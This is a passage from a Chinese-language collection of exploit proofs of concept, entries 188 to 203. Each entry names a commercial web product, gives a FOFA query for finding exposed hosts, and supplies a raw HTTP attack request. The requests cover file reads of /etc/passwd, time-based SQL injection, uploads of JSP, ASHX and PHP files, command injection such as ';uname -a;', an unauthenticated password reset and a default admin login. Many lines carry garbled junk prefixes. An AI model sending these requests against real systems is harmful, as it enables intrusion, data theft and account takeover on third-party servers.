4 B- P& a4 T' x4 N* O- U& E  [188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
7 [$ r8 X% I+ Q" r& y# sGET /attachment?file=/etc/passwd HTTP/1.1
3 S  a* l7 L5 d+ S4 g: KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) T" c( F- ?# q4 M+ ?+ X- eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
4 t, w6 O2 U9 b9 gConnection: close
) q/ \. |# h/ t2 d' ^7 s
# E4 U2 D4 E5 z. ]3 E! s) p. x
8 }7 G( S) c- Y: ?3 b& J1 i2 R189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
/ H! V& ^6 \* y2 I0 |! V$ iGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
% @. i& o% L& V9 ^0 LHost: your-ip
+ o1 V# N" \$ n- sUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 e4 i  Y. q  A, fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ X- f) P; F/ MConnection: close


8 }* T  G& Q* {) W  Z- m6 N) j7 i. I190. 短视频矩阵营销系统 poihuoqu 任意文件读取
4 c  D4 Q' c& [) HFOFA：title=="短视频矩阵营销系统"
" Y7 T. R1 d1 N0 }% g& n; z* `8 rPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
# p: T3 N* P3 E, P8 xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
, q6 ?4 M# j5 l/ {/ BAccept-Encoding: gzip, deflate
( w# q& m" T  Y; P8 |6 M0 }Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd

7 e4 p+ K) ~" a. J5 O. v
; P/ k. k3 f6 A' F( f. c191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
5 j9 ^, i; {9 P% `POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 k# `# \' U8 y* `; Q) BContent-Type: application/x-www-form-urlencoded

& S! y9 R0 O5 L  ~/ A$ acommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
3 E# I' ?" l. K( |; T

5 G; z- a: I4 _8 }3 I192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
) W5 Y* a; Y. W6 i8 `) XPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
$ u2 z. \5 ^. w( GHost: your-ip
& \( U, H: K! ^4 Q! }1 V; JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

% \1 q8 o- o( ?8 B% e1 q
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
$ e2 Y# k( `  F, w8 u/ b$ J1 wpublic class AverageHandler : IHttpHandler
{
" s8 Z- m. M# S/ f+ b6 Z* ~public bool IsReusable
" x/ j& Y0 T& `5 \: x{ get { return true; } }
0 u& e% \1 T6 ~% \public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
1 [2 I1 H* ~7 k! k" M- j7 H}
) w0 e9 d! }  a, N1 F( B}
: y6 `/ ]$ R4 f; |! n, F  B

6 ]6 p/ d- O) ~1 R( L0 b) G1 v193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
8 w' k8 x" |3 p9 G- ^Host:
2 q2 c, G- @4 lCookie: PHPSESSID=2333333333333;
! E" }- R  m$ r0 ?& d4 b5 `Content-Type: application/x-www-form-urlencoded
- s5 Y4 e3 r3 l' p4 r) M! p. hUser-Agent: Mozilla/5.0
* j5 o* S8 i1 [1 E9 {- q

* I4 Q/ H4 i2 D7 `5 ^POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
! N8 q- N; J- tHost:
) X, m" h7 B* |- s6 I  kUser-Agent: Mozilla/5.0
  j$ I9 _! }0 C, A6 ^9 tAccept-Encoding: gzip, deflate
# Q! M9 b9 t' o# l; PAccept: */*
& F1 Q3 M4 i: D" F. N: zConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
/ v; O0 A% `4 p
4 b4 c* g; e2 A, B3 E* N; n& Wparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
0 z6 b6 [2 ?. ?& `, c

GET /master/img/config HTTP/1.1
  @* Q' N- |4 |0 \Host:
1 u4 G$ w  j/ Z! `! h) [User-Agent: Mozilla/5.0
) u: ?3 ?! E' b# j; X
5 e$ p* R+ c6 k2 M% G8 U
5 i! D, ~( x' F5 ^) p# q194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
) s, l5 D+ A9 B1 RFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
* T0 F3 k5 J% T% N; n) J
& l$ u% n! U4 f5 R; _" {4 g8 wPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ _9 E1 d- ?, z, YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ _4 j& J$ E$ [/ J, R  |Accept-Encoding: gzip, deflate
5 S% C3 Y8 V1 t& G5 JConnection: close
/ T# D% a0 P- i% fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
9 p4 ?2 M) g: F; S1 r0 M------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
6 C  V, G5 V: ]7 {3 T# JContent-Type: text/plain
# H2 F* n7 i1 g6 ]. m<% out.println("hello");%>
( l! W) s7 T5 y7 A3 S$ u. R. v5 p------WebKitFormBoundaryKNt0t4vBe8cX9rZk
& ^  v/ S$ _" @: ~2 O, kContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
1 e$ E8 L, i9 O7 r  E% M9 a9 s

# ^- M  u. b! B% Q* }195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
7 O8 |! M+ [; ?0 WHost: 127.0.0.1
+ I7 l% t5 r; {* K) H: pPragma: no-cache
$ [5 Y2 `1 Y: `+ L( ]Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
! t0 Z! u( V0 Z; YAccept-Encoding: gzip, deflate
, Y, `' u8 f' P) YAccept-Language: zh-CN,zh;q=0.9
4 c, ]# A# \7 g0 f  ]Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
# M& ?& J! N$ {( ]7 V$ ?9 V. z: LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
9 h; F- S+ d2 S
{"xgh":"test","newPass":"test666","email":""}



* R8 r" @3 i6 V1 }# G5 I8 W197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
+ K* c! y% C: \  e9 N8 G' qGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
; Y9 T$ n; X1 m5 Z( ?! KHost:
4 ^- q2 ?. T$ E; l+ S9 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close


8 z2 U& c4 n! _3 d- I( b
* L0 b3 ^  V7 L7 T4 P198.  阿里云盘 WebDAV 命令注入
- h$ q" a0 g# @- M: T& nCVE-2024-29640
4 T, F# z( w. c# J! L# i7 l% Q% b/ J( WGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
. Z! L; L1 E. l1 {9 b0 RAccept: */*
Accept-Encoding: gzip, deflate
7 {$ Q5 [+ R4 o3 z- GAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
. _# B4 E9 g; j* T) D9 w

+ e4 @: U( }. _- c199. cockpit系统assetsmanager_upload接口 文件上传
: g9 n4 I* H. V+ R  ~+ V% X) Q5 i5 @
1 F" [5 v0 O8 V% ]1 B4 C1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
4 K- Q; a1 F6 X* x5 AGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

5 J  i; H% z" B4 ]; L2.使用刚才上一步获取到的jwt获取cookie：
7 a! b7 P( L# Q) D+ u4 |7 b" @
POST /auth/check HTTP/1.1
Content-Type: application/json
& u0 a# w- _- x; ^
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
% G8 H1 d5 j" \. W4 [0 @" c2 a. ^9 `
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
9 U5 a/ L2 Q7 tFofa：title="Authenticate Please!"
" T7 r+ G" p0 d' W) v6 uPOST /assetsmanager/upload HTTP/1.1
$ C$ B+ u7 Z; F7 A' [Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
1 `) Z8 N# z2 u. L* h! J" dContent-Type: text/php

, X/ S4 W5 i# |+ z' y' ?9 B<?php echo "tttt";unlink(__FILE__);?>
; m# k: x! ^3 B4 h-----------------------------36D28FBc36bd6feE7Fb3
; h9 ^. `2 x6 ?' l5 Q9 kContent-Disposition: form-data; name="folder"
+ w! _  o& t" W& G
-----------------------------36D28FBc36bd6feE7Fb3--
% J/ q3 X! {% H$ W

/storage/uploads/tttt.php
- Y$ G8 ?% B3 `2 n
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
% w7 K, [2 ~6 X: w4 x7 `GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
+ R" Y5 a( \- I- ]& xCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
' E- G& z+ A  [/ Z/ PUpgrade-Insecure-Requests: 1
0 V5 B' I8 B7 t% R: n% CCache-Control: max-age=0
$ P) ^; z. L5 c* c% oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  C7 C1 F8 X/ P$ E* L. tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 H# }  B3 p( ?' {2 J- ?+ K, ]8 p$ }
& H% p) b# z+ m2 ~
; Q0 T- u" g9 `) K2 g201. 方正全媒体新闻采编系统 binary SQL注入
$ t4 C7 p! L) |FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
7 \7 l8 T( l/ |4 A9 qContent-Type: application/x-www-form-urlencoded
. e/ r9 Q( n, p$ o0 I, Z, r. JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: H2 H& r9 z8 k7 g/ _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 V& z( }2 i, W
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

1 J- j; D) h8 R, `3 z
0 c" e: @: r+ F5 e. J202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
, c) g2 y* j& H4 E2 w: i/ [GET /User/AccountEdit.aspx HTTP/1.1
6 J& f' a2 _% S# {# h& ]( CHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
6 T) J' D6 t" k4 H- W8 hContent-Length: 0
& v! o/ n. S. Y# m) g# A

6 I$ e# A& e8 i4 H6 q替换__VIEWSTATE和__EVENTVALIDATION值
/ ~4 i3 g, |  I+ E2 G+ k2 ~3 bPOST /User/AccountEdit.aspx HTTP/1.1
$ g6 k* X2 i2 {" r2 v: }$ q4 ]& wAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
* W7 r; l! W9 H6 n$ a; M" Z
2 q5 o# S# w+ k7 h. r) F. H/ f-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
, `% J* d' e' @" k
% Z" q1 H- g5 x% j3 Y__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
! u: r5 G1 [* I9 Y, ?Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
. m9 U  s- @. X7 `4 lContent-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
" _9 X" e8 V5 U) V7 m2 rContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
6 e: f# {. o: n+ ~$ B6 u-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

3 X0 L( Z: O3 D
5 C, r4 |; o* s. _- b; E4 A; c" B-----------------------------786435874t38587593865736587346567358735687
8 l( y5 P  |1 W8 m* eContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


2 N) R( r" y& a; `2 o. U7 ^" ~-----------------------------786435874t38587593865736587346567358735687--
  N) h1 k1 }; P8 ?7 z

/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
$ s5 M, O( e$ n+ b& A2 k/ ?POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) ~( P; P8 Z* g- t8 F: }, A- d; nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
6 p  f$ k) {, z# T- W
6 a: X; ]% M) g9 ^------WebKitFormBoundaryt7WbDl1tXogoZys4
( `0 r# M; ^; C: U4 k) a' [Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
  Y6 X  J. {  G+ t: L6 [Content-Type:image/jpeg

- r. a2 L) h+ X3 v* f$ j<% out.print("hello,eHR");%>
: i" a+ B- |* I------WebKitFormBoundaryt7WbDl1tXogoZys4--
+ m, m$ Q1 t- o2 V8 v$ T' a- y, f
$ l7 {& C/ ^7 L" _+ w$ n8 P" K: R
4 u( e# J7 S, i; n# m
6 `! `1 k+ j' e$ Q5 `! X" w# M2 p
# h3 P& \0 Q! L: J
. Q0 s1 j- M& B% c# ~; D" ^3 S